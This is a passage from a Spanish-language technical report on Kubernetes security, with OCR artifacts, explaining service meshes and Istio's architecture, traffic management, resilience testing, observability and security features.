El siguiente aspecto a tener en cuenta es el analisis forense en los contenedores que hayan
sido comprometidos en el cluster. En un entorno de Kubernetes, el andlisis forense para
contenedores es considerablemente mas complejo, pues son programados y orquestados
en varios nodos dependiendo de diversos factores. Ademas, es importante notar que los
contenedores producen una enorme cantidad de datos a una alta velocidad, dificil de
recolectar sin las herramientas adecuadas. Para mas detalles sobre el tema, se recomienda
la lectura de [269].

Finalmente, una dltima recomendacion respecto al tema es la incorporacion de un reporte
post-mortem (reporte de autopsia del incidente) al arsenal y la cultura del equipo de
seguridad cada vez que se produce una incidencia. El reporte post-mortem se lleva a cabo
(consultando la informacién ofrecida por las herramientas comentadas anteriormente)
después de que ha ocurrido un incidente de seguridad. El equipo de seguridad se retne con
las partes involucradas de la organizacion para analizar lo sucedido, identificar las causas,
las lecciones aprendidas y afrontar futuras incidencias. Para mas detalles sobre este tema,
se recomiendan las lecturas [270]-[272].



9. Mallas de servicio

Como se ha mencionado con anterioridad, las mallas de servicio constituyen una capa de
infraestructura dedicada que actualmente estd muy vinculada a las aplicaciones nativas en
la nube basadas en microservicios y particularmente con Kubernetes [273]. A pesar de que
la tecnologia ha existido antes que Kubernetes, la proliferacién de los microservicios que
son orquestados en Kubernetes ha contribuido de manera significativa al creciente interés
en estas soluciones.

Este capitulo aborda en primera instancia, los aspectos generales y contribuciones de las
mallas de servicios tanto al desarrollo como a la seguridad de las aplicaciones distribuidas
en la nube. Luego en la Seccién 9.4 se ponen en practica estos aspectos en una solucién
especifica (Istio), especialmente aquellos relacionados con la seguridad, lo cual es clave
para la comprension de las buenas practicas de seguridad propuestas en el siguiente
capitulo. Finalmente, se recomiendan la Seccién 9.1 y la Seccién 9.4.5 para obtener una
vision general de los aportes de las mallas de servicio en temas de seguridad.

9.1. Aspectos generales

¢Qué es una malla de servicios?

Un aspecto importante a tener en cuenta sobre los microservicios es que dependen en gran
medida de la red. La esencia de las mallas de servicio es facilitar una red centrada en los
servicios (considerados ciudadanos de primera clase) y asi como en los desarrolladores
(developer-driven). Estas mallas permiten abstraer a los desarrolladores de aplicaciones de
aspectos inherentes de la red (e.g. resiliencia) otorgando facilidades a los operadores como
definir de manera declarativa el comportamiento de la red, politicas que rigen el flujo del
trafico, entre otros aspectos.

Para una vision mas clara, se recomiendan las lecturas [274], [275].

¢Por qué necesitamos de una?

Como ya se ha comentado, el enfoque para el disefio y desarrollo de servicios escalables e
independientes de las aplicaciones nativas en la nube ha sido el uso de microservicios. Su
auge reciente ha dado lugar a otra capa de infraestructura adicional: los orquestadores de
contenedores (e.g. Kubernetes). Pero, ¢ realmente seria necesaria otra capa extra?.

Los orquestadores de contenedores ofrecen las funcionalidades necesarias para el correcto
funcionamiento de un cluster. Su foco es en tareas de programacion (scheduling), salud y
descubrimiento mayormente a nivel de infraestructura, pero no llegan a cubrir algunas
necesidades a nivel de servicio (e.g. comunicacion segura).

La capa de infraestructura adicional que representa la malla de servicios esta dedicada a la
proteccién de las comunicaciones de servicio-a-servicio, su rapidez y fiabilidad; muchas
veces apoyandose en orquestadores de contenedores y soluciones de descubrimiento de
servicios. Ademas, permiten separar la l6gica de negocio de la aplicacion de aspectos como
las politicas de seguridad y de red, la observabilidad, entre otros. De esta manera, permiten
conexion, securizacion y monitoreo de nuestros microservicios:

e Conexidén: permiten que los servicios se descubran y comuniquen unos con otros.
Habilita un flujo “inteligente” del trafico entre servicios/endpoints que permiten el uso
de estrategias avanzadas de despliegue como blue/green, canaries, actualizaciones
progresivas, y otras mas.



e Securizacidn: permite la securizacion de las comunicaciones entre los servicios (i.e.
autenticacion, integridad y cifrado) y la aplicacién de politicas para regular dichas
comunicaciones (e.g. denegar el acceso a servicios de produccion desde el entorno
de desarrollo).

e Monitoreo: permite la observabilidad de nuestro sistema distribuido de
microservicios, ya que generalmente incorporan herramientas de monitoreo y tracing
(Prometheus y Jaeger). Esto permite visualizar la latencia, el flujo del trafico, las
dependencias entre servicios, etc.

Arquitectura:

Las mallas de servicios son implementadas mediante proxies de servicio (e.g. Envoy), los
cuales son los encargados de enrutar el trafico en nuestra red. Dicho trafico es interceptado
de manera transparente mediante reglas de iptables [276], [277] a nivel del namespace del
pod.

Las mallas de servicio transforman un grupo de servicios dispares en uno organizado y bien
integrado mediante la inyeccién sistematica de un sidecar proxy (i.e. proxies de servicio) e
inter-conectandolos entre si. Estos sidecars son gestionados bajo un control centralizado,
formando asi la malla de servicios (ver Figura 20).

Application Application
A B
_ _ TLS _ _
' ] Encrypted ( |
Envoy Envoy
Proxy A Proxy B
Host A Host B

Figura 20. Comunicacion entre aplicaciones en una malla de servicios.
(Fuente: singlestoneconsulting.com)
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Figura 21. Arquitectura genética de una malla de servicios. (Fuente:nginx.com)

De manera analoga a Kubernetes, la malla de servicios se divide en dos planos importantes
(ver Figura 21):

Plano de control: encargado de gestionar la configuracion de los proxies, contiene
los gestores de politicas, etc. También recolecta informacion de telemetria, métricas
y en algunas implementaciones, se incluye la capacidad de realizar tracing.

Plano de datos: compuesto de los proxies desplegados a modo de sidecars, que en
el caso de Kubernetes se ejecutan como contenedores en cada pod en conjunto con
nuestra aplicacion.

9.2. Limitaciones

A pesar de los obvios beneficios que aporta una malla de servicios, cabe decir que también
tiene sus deficiencias. Es importante mencionar que es una tecnologia que por su disefio y
arquitectura, tiene como objetivo resolver la mayoria de los problemas que resultan de una
arquitectura de microservicios. Como consecuencia, no estd exenta de criticas y pudiera
introducir algunos efectos no deseados [133]:

Complejidad afadida: la introduccion de proxies, sidecars y otros componentes en
una arquitectura ya de por si bastante compleja y sofisticada aumenta de manera
inevitable la complejidad del desarrollo y las operaciones.

Experiencia necesaria: implantar una malla de servicios encima de un orquestador
como Kubernetes requiere de cierta experiencia de los operadores, que ahora deben
convertirse en expertos en dos tecnologias.

Impacto en el rendimiento: su ubicuidad (i.e. sidecars) y el hecho de constituir una
capa de abstraccion adicional implica que existe un impacto en el rendimiento de
nuestra arquitectura.

Adopciéon de una plataforma: su implantacion fuerza a los desarrolladores y los
operadores del cluster a adaptarse a una nueva plataforma y sus reglas.



Otro aspecto a tener en cuenta es que las mallas de servicio, aunque son de gran utilidad,
no son una “bala de plata”. Existen escenarios donde estas soluciones no son adecuadas y
por tanto, es muy importante comprender en qué casos usarlas y cuando no es apropiado
su uso [278].

Para mas detalles al respecto se recomiendan las lecturas [279], [280].

9.3. Soluciones de mallas de servicio

Segun los resultados de la encuesta llevada a cabo por la CNCF en el 2019 [2], “las mallas
de servicio constituian un desafio para el 27% de los usuarios de Kubernetes”, ya fuese
tanto en lo que respecta a elegir la herramienta adecuada como en las operaciones del dia
a dia. Aunque existen diversos proveedores con soluciones de mallas de servicio propias,
en este trabajo solo se abordaran las soluciones mas “relevantes”.

Las tres opciones de mallas de servicio mas “relevantes” en entornos nativos en la nube
segun la encuesta del CNCF son Istio [281], Linkerd [282] y Consul Connect [283]. Por una
parte, Consul Connect e Istio fueron las mallas de servicio mas utilizadas por los usuarios
de Kubernetes, mientras que por otra parte Istio y Linkerd fueron las opciones que mas
valoradas por los usuarios.

En los tres casos, son productos open-source con comunidades bastante activas y también
estan respaldados por organizaciones reconocidas; Istio por Google, Linkerd por Buoyant y
Consul Connect por HashiCorp. Como es de esperar, cada una tiene sus pros y sus contras
derivados de su propia visién e implementacion. A continuacién se abordan brevemente
dichas opciones.

Istio:

Istio es una malla de servicios nativa para Kubernetes inicialmente desarrollada por Lyft y
ampliamente adoptada en la industria. Muchas de las empresas de tecnologia importantes
han optado por ella como su malla de servicios preferida: Google, IBM y Microsoft se
apoyan en Istio como la malla de servicios predeterminada en sus servicios en la nube de
Kubernetes.

Istio consta de una amplia gama de funcionalidades robustas que sustentan la conectividad
entre servicios (e.g. enrutamiento de peticiones, etc.), timeouts (tiempos de espera), circuit
breaking (interruptor del circuito), fault injection (inyeccién de fallas), entre otras. Ademas,
Istio genera, recopila y permite la visualizacién de informacién de observabilidad detallada
sobre las aplicaciones con métricas asociadas con la latencia, el trafico y los errores.

Istio ha separado sus plano de control y plano de datos mediante el uso de un sidecar proxy
(i.e. Envoy) que almacena informacién en la caché, por lo que no necesita comunicacion
con el plano de control por cada peticion. En el contexto de Kubernetes, el plano de control
de Istio estd compuesto por pods que se ejecutan en el cluster de Kubernetes, permitiendo
una mayor resiliencia en el caso de que haya una falla en un pod en cualquier parte de la
malla.

Para mas detalles sobre Istio, sus funcionalidades y su arquitectura, se recomiendan las
lecturas [281], [284].

Linkerd:
Linkerd es posiblemente la segunda malla de servicio mas popular para Kubernetes y en su
re-implementacién (la v2) su arquitectura se asemeja a la de Istio. Este aspecto, unido a



gue es una solucién exclusiva para Kubernetes, ha traido como consecuencia que Linkerd
tenga una menor complejidad al estar compuesta de menos partes méviles.

Es un proyecto peculiar en el sentido de que es el tnico proyecto de malla de servicios que
es respaldado por una fundacion independiente: la CNCF. Aunque todavia se da soporte a
Linkerd v1.x, las nuevas funcionalidades (e.g. despliegues blue/green) estan enfocadas en
la v2 principalmente.

Desde el punto de vista de la arquitectura, Linkerd es similar a Istio aunque con una mayor
flexibilidad. Dicha flexibilidad esta basada en su arquitectura extensible mediante plugins ya
gue por ejemplo, en términos de conectividad, Linkerd soporta los controladores de ingress
mas populares como NGINX, Traefik, o Kong. También puede integrarse con soluciones de
observabilidad como Grafana, Prometheus, and Jaeger; todas complementarias a su propia
interfaz visual (Ul).

Un aspecto destacable es que a diferencia de Istio, Linkerd no usa Envoy como su proxy,
sino que emplea el suyo propio llamado Linkerd2-proxy [285], [286]. Dicha decisiéon de
disefio estuvo sustentada en el deseo de hacer a Linkerd una malla de servicios simple y
ligera.

Para mas detalles sobre el tema, se recomienda consultar [282].

Consul Connect:

Consul representaba el servicio de descubrimiento y almacenamiento llave-valor mas
popular empleado en aplicaciones distribuidas hasta que fue convertido en una malla de
servicios por su empresa matriz HashiCorp llamado Consul Connect. Como consecuencia,
su arquitectura es hibrida con sidecars de Envoy y un plano de control (y almacenamiento
llave-valor) desarrollado en Go.

Desde la perspectiva de la seguridad y la conectividad, sus funcionalidades no sobresalen
en comparacién con su competencia. Sin embargo, se requiere menos configuracion y tiene
una menor complejidad, lo cual hace que su curva de aprendizaje sea menor. Como punto
en contra, es importante resaltar que su comunidad open-source es mas limitada y no hay
una documentacion facil de usar.

Para mas detalles sobre el tema, recomendamos [287].

9.4. Istio

Como se mencionaba con anterioridad en el reporte de la CNCF [2], Istio fue la malla de
servicio preferida por los usuarios buscando evaluar una tecnologia de esta categoria. Por
esta razén y la existencia de una documentacién exhaustiva, se ha seleccionado esta
tecnologia para explorar diversos aspectos de las mallas de servicio en mayor profundidad.

9.4.1. Arquitectura

Como se ha mencionado anteriormente, la arquitectura de Istio esta conformada por el
plano de datos y el plano de control (ver Figura 22):

e Plano de datos: compuesto por un conjunto de proxies (Envoy) desplegados como
sidecars por toda la infraestructura. Estos proxies median y controlan todas las
comunicaciones de red entre los microservicios, ademas de recolectar datos de
telemetria sobre dicho trafico.



e Plano de control: encargado de configurar y gestionar los proxies para el enrutado
de tréfico. Todos los componentes que forman parte de este plano, son incluidos en
un solo binario: istiod [288].

Plano de datos:
Istio usa una version extendida del proxy Envoy, un componente de alto rendimiento que
interviene en la totalidad del trafico entrante y saliente para todos los servicios en la malla.
Estos proxies son los Unicos componentes de Istio que interactian con el trafico en este
plano.
Estos proxies desplegados a modo de sidecars permiten adicionar a los servicios muchas
funcionalidades predeterminadas de Envoy como:

e Descubrimiento dinamico de servicios y balanceo de carga.

e Comunicaciones via HTTP/2 y gRPC, asi como la terminacion de una conexién por

TLS.

e Interruptores de circuitos, inyeccién de fallas y comprobaciones de salud.
Estos proxies permiten a Istio aplicar politicas de control de trafico y obtener informacién
valiosa de telemetria que puede enviarse a sistemas de monitoreo externos para analizar el
comportamiento de la malla.

Istio Mesh

Data @ Service A @ Service B

- T l T l
Mesh traffic
> Proxy > Proxy >
Ingress Egress

traffic traffic

Discovery
Configuration
Certificates

Control plane |

‘ u istiod Pilot Citadel Galley

Figura 22. Arquitectura de Istio. (Fuente: istio.io)

Plano de control:
istiod unifica en un solo binario la funcionalidad de los distintos componentes que forman
parte del plano de control: Pilot, Galley, Citadel y el sidecar injector (inyector de sidecars)

(ver Figura 22).



Entre sus funcionalidades principales se encuentra el descubrimiento de servicios y la
configuracion y gestion de certificados. Istiod actlla como una autoridad certificadora y
genera los certificados que permiten la comunicacion segura mediante mTLS en el plano de
datos. Adicionalmente, si un usuario avanzado necesita usar una autoridad certificadora
externa a la malla, istiod esta disefiado para integrarse con una CA externa [289].

istiod contribuye en aspectos de seguridad como garantizar una autenticacion (AuthN)
sélida de servicio-a-servicio y del usuario final mediante la gestibn de credenciales e
identidad integradas. Otro aspecto a destacar es que las politicas de Istio operan a niveles
superiores a las capas L3-L4 tradicionales, lo cual resulta en una mayor flexibilidad en el
control de acceso.

9.4.2. Gestion del trafico

Una de las capacidades fundamentales de una malla de servicios es la gestion del trafico y
por tanto, es un area con bastantes funcionalidades. Istio no es una excepcién en este caso
y cuenta con diversas capacidades para el regular como el trafico fluye a través del sistema.
Un pilar sobre el que se sustentan dichas funcionalidades de gestion de trafico es el API de
red de Istio. Mediante esta API es posible configurar el flujo de trafico que en consecuencia,
nos permite llevar a cabo estrategias como el despliegue de nuevas versiones mediante
canaries, aplicar politicas consistentes de timeouts y reintentos para todos los servicios, etc.

Gateway
Host: foo.com —ipe Actual Request Path
Port: 443
TLS certs Logical Request Path
' implements
VirtualService DestinationRule
Host: foo.com ‘ Host: Service Y
Ingress Rewrite_URL.: ... Subsets: v1, v2
Gateway Route: Service Y, subset v1 | TLS, Circuit Breakers
|-
] Service Y Service Y
Client Service X > Vi V2
GET https://foo.com GET https://foo.com

Figura 23. Conceptos del API de red implicados en la gestién del trafico.

Como se ha mencionado antes, las mallas de servicios referencian a los servicios por sus
nombres para evitar los problemas que acarrea hacerlo mediante direcciones IP*. Es por
esta razon que la configuracién de red mediante Istio ha adoptado un modelo basado en
nombres (ver Figura 23 [284]), en el cual figuran los siguientes elementos:

e Gateways: exponen nombres al exterior.

e VirtualServices: realizan la configuracion y enrutado de servicios/nombres.

e DestinationRules: describen cémo establecer la comunicacién con un workload

asociado a un servicio/nombre.

14 Una IP puede ser desconocida inicialmente, puede cambiar con el tiempo, es dificil de recordar,
entre otros problemas.



e ServiceEntries: permiten la creacion de nuevos “servicios”/nombres.
e Sidecars: limitan los servicios/nombres y puertos accesibles.

Step 3. step 2. Step L.

Expose the Virtual Service outside the Mesh Create Destination Rule and Virtual Service Create Deployments and Service

‘l Istio Service Registry Service

jl istio-ingressgateway jk Gateway ;k Virtual Service
- Service o . -

g.hk jl Destination Rule

Figura 24. Dependencias y relaciones entre los conceptos del API de red en Istio.
(Fuente: kwonghung-yip.medium.com)

Estos conceptos del API de red de Istio son los involucrados en el correcto funcionamiento
del flujo de trafico en la malla de servicios y se abordaran con mas detalle a continuacion.
Las dependencias y relaciones entre dichos conceptos, asi como fragmentos de su posible
configuracion en YAML se observan en la Figura 24.

Para mas detalles sobre la gestidn de trafico en Istio, asi como las buenas préacticas para su
uso se recomiendan [290] y [291] respectivamente.

Virtual Services:

Los Virtual Services (0 servicios virtuales) junto con las Destination Rules (reglas de
destino) constituyen los componentes clave sobre los que se sustenta el enrutamiento de
trafico de Istio. Un Virtual Service define un conjunto de reglas de enrutamiento que regulan
cémo es enrutado el trafico a los diferentes destinos en la malla de servicios. Las reglas
antes mencionadas son evaluadas en orden, permitiendo a Istio encontrar para cada
peticion a un Virtual Service el destino real (un servicio) correspondiente en la malla.

Las reglas definidas en un Virtual Service son reglas de enrutamiento a nivel de aplicacién
(capa L7). Asi, las peticiones HTTP pueden ser enrutadas a diferentes destinos basado en
atributos como el URI, el método HTTP y los headers (encabezados) de la peticién.

Sin el uso de un Virtual Service, Envoy distribuye el trafico balanceando la carga mediante
round-robin entre las instancias existentes, pero mediante el uso de un Virtual Service se
puede obtener un mayor control y granularidad. El conocimiento disponible de los workloads
(e.g. su version) permite aprovechar la flexibilidad de un Virtual Service para escenarios de
pruebas A/B (distribucién del trafico segun la version) o redireccionar a usuarios especificos
(e.g. desarrolladores, QA) a instancias particulares de esos servicios.

La especificacion de estas politicas de enrutamiento hacia un destino puede llevarse a cabo
en otros objetos: las Destination Rules. De esta manera, dichas reglas pueden ser reusadas
entre varios servicios virtuales. Mas informacién sobre estos objetos del API es analizada en
la siguiente seccion.

Mas detalles sobre los Virtual Services pueden obtenerse en [292].



Destination Rules:

Las Destination Rules (o reglas de destino) definen reglas de enrutamiento adicionales al
tréfico que ya ha sido enrutado a un servicio en particular. En conjuncién con los Virtual
Services, las Destination Rules constituyen un aspecto clave en el enrutamiento de trafico
en Istio.

Los Virtual Services se enfocan en como el trafico es enrutado a un destino especifico,
mientras que las Destination Rules se enfocan en qué pasa con dicho trafico para ese
destino en especifico. Las Destination Rules son aplicadas posteriormente a la evaluacion
de las reglas de enrutamiento de los Virtual Services, por lo que son aplicadas al
destinatario final del trafico (ver paso 1y paso 2 en la Figura 24).

De manera adicional, se pueden usar las Destination Rules para particionar un servicio en
subconjuntos (e.g. agrupar por la version), los cuales nos permiten enrutar el trafico de
manera inteligente entre multiples versiones activas sin necesidad de hacer cambios en el
cédigo del servicio (ver paso 2 en la Figura 24).

Las Destination Rules también permiten personalizar las politicas de trafico de Envoy que
son aplicadas en cada uno de los escenarios anteriores. Algunos ejemplos son la seleccién
del modelo de balanceo de carga, el modo de seguridad de TLS o las configuraciones del
circuit breaker.

Més informacion al respecto puede consultarse en [290] y una referencia extensa sobre las
opciones disponibles se tiene en [293].

Gateways:

Un Gateway es empleado para administrar todo el trafico entrante y saliente (norte-sur) de
nuestra malla de servicios. Las configuraciones de este recurso son aplicadas a proxies
independientes de Envoy que se ejecutan en los “extremos” (a la entrada y/o a la salida) de
la malla, en vez de aplicarse a los sidecars de Envoy que se ejecutan junto con cada
servicio del workload.

A diferencia de otros mecanismos para el control del trafico entrante en nuestro sistema
(e.g. el API de Ingress de Kubernetes), los gateways de Istio incorporan todo el poder y la
flexibilidad de Envoy. Por una parte, el recurso de Gateway solo permite la gestiéon de las
configuraciones a nivel de las capas L4-L6 del modelo OSI (e.g. puertos, configuraciones
TLS), y para afadir funcionalidades a nivel de aplicacion (capa L7) es necesario vincular un
Virtual Service al Gateway. De esta manera, es posible gestionar el tréfico en el Gateway de
la misma manera que se hace en el plano de datos de nuestra malla.

El propdsito inicial de los gateways es la administracion del trafico de entrada (ingress
gateway), pero de esa misma manera, es posible configurar un recurso de Gateway para el
trafico de salida (egress-gateway). De esta manera, podemos configurar diversos aspectos
como definir un nodo dedicado para el trafico de salida, limitar cuales servicios pueden
acceder a redes externas, entre otros.

Para més detalles sobre este recurso, se recomienda consultar [294].

Service Entries:

Los Service Entries (o entradas de servicios) son el mecanismo mediante el cual afiadimos
y/o eliminamos entradas en el registro de servicios de Istio [295]. Las entradas del registro
pueden recibir trafico mediante el nombre definido como si fuese un servicio en nuestra
malla y también pueden ser usados como destino del tréfico desde otras configuraciones de
Istio.



Otro caso de uso de los Service Entries es el de gestionar el trafico a servicios que no se
encuentren en nuestra malla, por ejemplo:
e Redireccionar y/o reenviar tréfico a destinos externos (e.g. un APl consumida).
e Definir politicas de retry (reintentos), timeout y fault injection (aspectos a tratar en la
siguiente seccion) para destinos externos.
Para mas detalles sobre el tema, se recomienda [296].

Sidecars:

Los Sidecars son los proxies de Envoy que son ejecutados a la par con cada instancia de
los servicios desplegados, donde todo el trafico desde y hacia el servicio es interceptado por
este proxy. Por otra parte, el recurso de Sidecar describe la configuracién de este proxy (ver
a continuacion) en aspectos como los puertos y protocolos aceptados, definir aquellos otros
servicios que pueden ser alcanzados, entre otros.

apiVersion: networking.istio.io/vlalpha3
kind: Sidecar
metadata

name: default

namespace: bookinfo
spec

egress

hosts
" jEe

"istio-system/*"

Es aconsejable limitar las conexiones potenciales de un sidecar en aplicaciones de tamafo
considerable, pues permitir la comunicacién entre cualquier par de proxies en la malla,
puede afectar el rendimiento debido al alto consumo de memoria.

Para obtener mas detalles al respecto, se recomienda la lectura de [297].

9.4.3. Resiliencia de la red y testing

Ademéas de sus funcionalidades para la gestion del trafico vistas anteriormente, Istio
también esta dotado de funcionalidades empleadas comunmente en practicas como chaos
engineering (ingenieria del caos) [298]. Algunos ejemplos a destacar son la inyeccion de
fallas en la peticién e interrupcién de circuitos, entre otros; todos ellos configurables de
manera dindmica en tiempo de ejecucion.

Un sistema resiliente es aguel que pueda mantener un buen rendimiento para sus usuarios
(i.e. cumplir con sus SLOs [299]), mientras son capaces de gestionar los fallos que puedan
tener lugar en su infraestructura. Con sus funcionalidades para estos casos, Istio permite
asegurar que la malla puede prevenir que fallos locales se propaguen en cascada hacia
otros servicios y nodos.

Como consecuencia, resulta posible disefiar y construir pruebas (i.e. testing) programaticas
y reproducibles para evaluar la resiliencia de nuestro sistema. A continuacion se abordan
las funcionalidades de Istio que hacen esto posible.



Timeouts:

Los timeouts (o0 tiempo de espera) son de una gran importancia para la construccion de
sistemas con un comportamiento consistente. Al asignar timeouts a las peticiones, resulta
posible descartar aquellas que estén tomando demasiado tiempo y asi liberar recursos en el
servidor, resultando en una mejor experiencia para el usuario.

Un timeout no es mas que la cantidad de tiempo que un proxy de Envoy deberia esperar por
las respuestas de un servicio determinado, asegurando que no quedemos a la espera de
manera indefinida. Para algunas aplicaciones y servicios, el valor de timeout por defecto de
Istio pudiera no ser el apropiado, dado que en algunos casos seria muy largo resultando en
una latencia excesiva, mientras que uno muy corto resultaria en llamadas a servicios que
fallan innecesariamente pues se necesitaba mas tiempo para completar la operacion.

Para evitar estos inconvenientes, Istio nos permite ajustar facilmente el valor del timeout de
manera dinamica para cada servicio sin necesitar de cambios en el cédigo. Para ello, se
hace uso de un recurso de VirtualService, pudiendo tener de esa forma un mayor control de
nuestra tail latency (latencia en caso peor) [300].

Retries:

Todo sistema experimenta fallas esporadicas (e.g. un servidor falla y descarta una peticién),
por lo que es necesario un mecanismo que re-intente enviar la misma peticién a un endpoint
diferente del mismo servicio (retries). De esta manera, es posible mitigar el impacto de fallas
transitorias.

No obstante, en algunas ocasiones donde estas politicas de retries de la conexién no estan
bien configuradas, causan mas problemas. En la mayoria de los casos, la razén de estos
fallos es que estos nuevos intentos estan codificados en las aplicaciones y por lo tanto son
dificiles de cambiar. Por su parte, Istio nos permite configurar estas politicas para todos los
servicios de nuestra malla y aun mas, pueden ser administrados en tiempo de ejecucién
mediante simples cambios a la configuracion.

La configuracién de esta funcionalidad especifica el nimero maximo de veces que Envoy
intenta conectarse a un servicio si la llamada inicial falla. EI comportamiento por defecto
para peticiones por HTTP es reintentarlo dos veces antes de devolver el error. Resulta de
gran importancia una correcta configuracion de la politica; mientras que un valor apropiado
permite mejorar la disponibilidad de un servicio evitando los errores transitorios, una mala
configuracion (e.g. retries muy frecuentes) pudiera causar que el servicio se vea abrumado
por muchas peticiones.

Circuit Breaking:

Los circuit breakers (o interruptores de circuitos) son otro mecanismo de gran utilidad de
Istio para la creacion de aplicaciones resilientes. Estos, constituyen un mecanismo de limitar
la capacidad de llamadas a un host particular de un servicio (e.g. cantidad de conexiones
concurrentes, cantidad de llamadas fallidas, etc.), y una vez que se alcanza dicho limite, el
interruptor se “dispara” y bloquea las conexiones subsiguientes al host.

Este patrén de disefio [301], permite un fallo rapido sin necesidad de intentos de conexién
innecesarios a un host sobrecargado o inconsistente. Al aplicar a los destinos finales en la
malla, los umbrales de los circuit breakers son configurados mediante Destination Rules, las
cuales son aplicadas a cada host del servicio.

Para mas detalles al respecto, se recomienda [302].



Fault injection:

El fault injection (o inyeccién de fallas) constituye otro mecanismo de gran utilidad para la
creacion de sistemas distribuidos robustos. Esta estrategia ha sido utilizada ampliamente,
aungue organizaciones como Netflix lo han llevado al extremo con su filosofia de chaos
engineering.

En su esencia, constituye un método cientifico de prueba [303] que introduce errores en el
sistema para asegurar que es capaz de resistir y recuperarse de situaciones donde existan
errores. Resulta una estrategia muy util para verificar que nuestras politicas de recuperacion
a fallos no sean muy restrictivas o incompatibles, resultando en servicios no disponibles.
Istio permite la inyeccion de fallas en la capa de aplicacién, lo cual permite la inyeccién de
fallas més relevantes, como codigos de errores HTTP especificos (e.g. 429, 500) resultando
en resultados mas realistas. Existen dos tipos de fallas fundamentales disponibles, ambas
configurables mediante un Virtual Service:

e Aborts: los aborts (o interrupciones) son errores que imitan fallos en los servicios
usualmente en la forma de cédigos de errores HTTP o fallos en la conexion TCP.

e Delays: los delays (o retrasos) son errores que imitan un incremento en la latencia
de la red o un servicio sobrecargado manifestandose en una demora en la
respuesta.

En ocasiones es un desafio evaluar de manera programatica como se comportaria nuestra
aplicacion cuando un servicio de terceros del cual ésta depende comienza a fallar. Con lIstio,
es posible crear un conjunto de pruebas fiables end-to-end (de extremo a extremo) para la
aplicacion ante fallos de sus dependencias gracias al fault injection.

9.4.4. Observabilidad

Como bien se ha mencionado anteriormente, la observabilidad es uno de los pilares de la
seguridad y es ademas, una de las funcionalidades principales de las mallas de servicio. En
este apartado no se abordaran nuevamente los aspectos clave de la observabilidad, sino
que, en cambio, se trataré el tema de cémo implantarlos satisfactoriamente con Istio.

9.4.4.1. Métricas

Para el monitoreo del comportamiento de los servicios en la malla, Istio genera métricas
para todo el trafico que involucra a los servicios (trafico entrante, saliente e interno en la
malla). De esta manera es posible obtener métricas asociadas al volumen de trafico, las
tasas de errores y los tiempos de respuesta de las peticiones.

Los componentes de Istio también exportan métricas (compatibles con Prometheus [304])
propias sobre su comportamiento interno para proporcionar informacion sobre la salud y el
funcionamiento del plano de control de la malla. De esta manera, no solo es posible
monitorear aquellos servicios que forman parte de la malla, sino que también es posible
monitorear a la malla en si.

Para mas detalles sobre el tema, se recomienda la lectura de [305].

Métricas a nivel de proxy:

Los sidecars de Envoy es el primer nivel donde Istio recolecta métricas. Cada proxy genera
un conjunto variado de métricas asociadas a todo el trafico (entrante y saliente) que pasa
por dicho proxy. Istio permite a los operadores escoger cuales de las métricas de Envoy son
generadas y posteriormente recolectadas en los workloads.



Por defecto, Istio habilita solo un pequefio subconjunto de las estadisticas generadas por
Envoy para reducir la sobrecarga de CPU de los backends asociadas a la recolecciéon de
muchas métricas. Los operadores pueden facilmente afiadir mas métricas al conjunto
cuando les sea conveniente.

Para mas detalles sobre la recoleccion de estadisticas con Envoy se recomienda [306] y
una guia para su operacion se pueden encontrar en [307].

Métricas a nivel de servicio:

De manera complementaria a las métricas a nivel de proxy, Istio ofrece un conjunto de
métricas orientadas a los servicios para el monitoreo de sus comunicaciones. El empleo de
dichas métricas es opcional por parte de los operadores, los cuales pueden seleccionar si
habilitar esta funcionalidad o no dependiendo de sus necesidades particulares.

Estas métricas dan cobertura a cuatro necesidades importantes en el monitoreo de los
servicios [308]: latencia, trafico, errores y saturacién. Istio tiene integrado un conjunto de
dashboards para el monitoreo de los servicios basados en estas métricas [309], ya que las
métricas estdndares de Istio [310] se exportan a Prometheus de manera predeterminada.

Métricas del plano de control:

El plano de control de Istio incorpora de manera predeterminada, un conjunto de métricas
para su autosupervision. Como se menciond anteriormente, dichas métricas permiten dar un
seguimiento al funcionamiento de Istio en si (a diferencia de los servicios que forman parte
de la malla).

Para mas detalles al respecto, se recomienda consultar la documentacién [311].

9.4.4.2. Trazas

La tarea de incorporar las trazas distribuidas ha sido una tarea complicada de implementar
en aplicaciones distribuidas tradicionales (incluso en la nube). Sin embargo, con el auge de
las mallas de servicio, la integracion del tracing se puede lograr con pocos esfuerzos. Lyft
fue capaz de extender las habilidades de tracing a todos sus servicios mediante la adopcion
de una malla de servicios.

Las trazas distribuidas ofrecen un mecanismo para comprender el comportamiento de las
peticiones que fluyen a través de nuestra malla. Por esta razén, son de gran utilidad para
gue los operadores de la malla sean capaces de comprender las dependencias entre los
servicios y las posibles causas de la latencia.

Los proxies en Istio brindan soporte para las trazas distribuidas mediante la generacién
automatica de “spans” a nombre de las aplicaciones que estos sidecars soportan. Los
operadores son capaces de controlar la tasa y la cantidad de trazas siendo generadas en su
malla regulando la frecuencia de muestreo para la generacion de las mismas. Ademas, Istio
soporta diversos backends para el tracing, incluyendo Zipkin, Jaeger, Lightstep, y Datadog.
Para mas detalles, se recomiendan [312], [313].

9.4.4.3. Registros

Los logs (o registros) permiten obtener informacién interna detallada del comportamiento de
cada workload. Istio es capaz de generar logs de acceso referentes al trafico recibido por el
servicio en diversos formatos configurables. De esta manera, se permite a los operadores
tener un control absoluto de todos los aspectos asociados con la tarea de logging.

Para mas informacion al respecto, se recomienda la lectura de [314].



9.4.5. Seguridad

A pesar del gran auge de los microservicios y la gran cantidad de ventajas que los mismos
aportan en el disefio de aplicaciones distribuidas, éstos presentan algunas deficiencias de
seguridad [315]. Istio constituye una solucion de seguridad integral para dar solucién a los
problemas cominmente presente en las arquitecturas basadas en microservicios.
El propésito del presente apartado es el de abordar brevemente cédmo se pueden utilizar las
funcionalidades de seguridad de Istio para proteger nuestros servicios. Las funcionalidades
mencionadas fueron disefiadas para mitigar amenazas tanto internas como externas contra
nuestros servicios, datos, comunicacion y la plataforma en general.
La seguridad en Istio involucra diversas &reas de la malla, entre las que cabe destacar:
e Una CA (autoridad certificadora) para la administracion de llaves y certificados.
e Distribucién de las configuraciones provenientes del APl de Kubernetes, entre las
gue se encuentran:
o Politicas de autenticacidén (authentication policies)
o Politicas de autorizacion (authorization policies)
o Informacién segura de nombres (e.g. servidores, servicios)
e Los proxies sidecar y en los “extremos” de la malla encargados de asegurar la
comunicacion entre clientes y servidores.
e Extensiones a los proxies de Envoy para la telemetria y auditoria.
El plano de control es el encargado de tomar las configuraciones del kube-apiserver y asi
configurar el plano de datos (i.e. los proxies de Envoy). Dicha arquitectura de alto nivel se
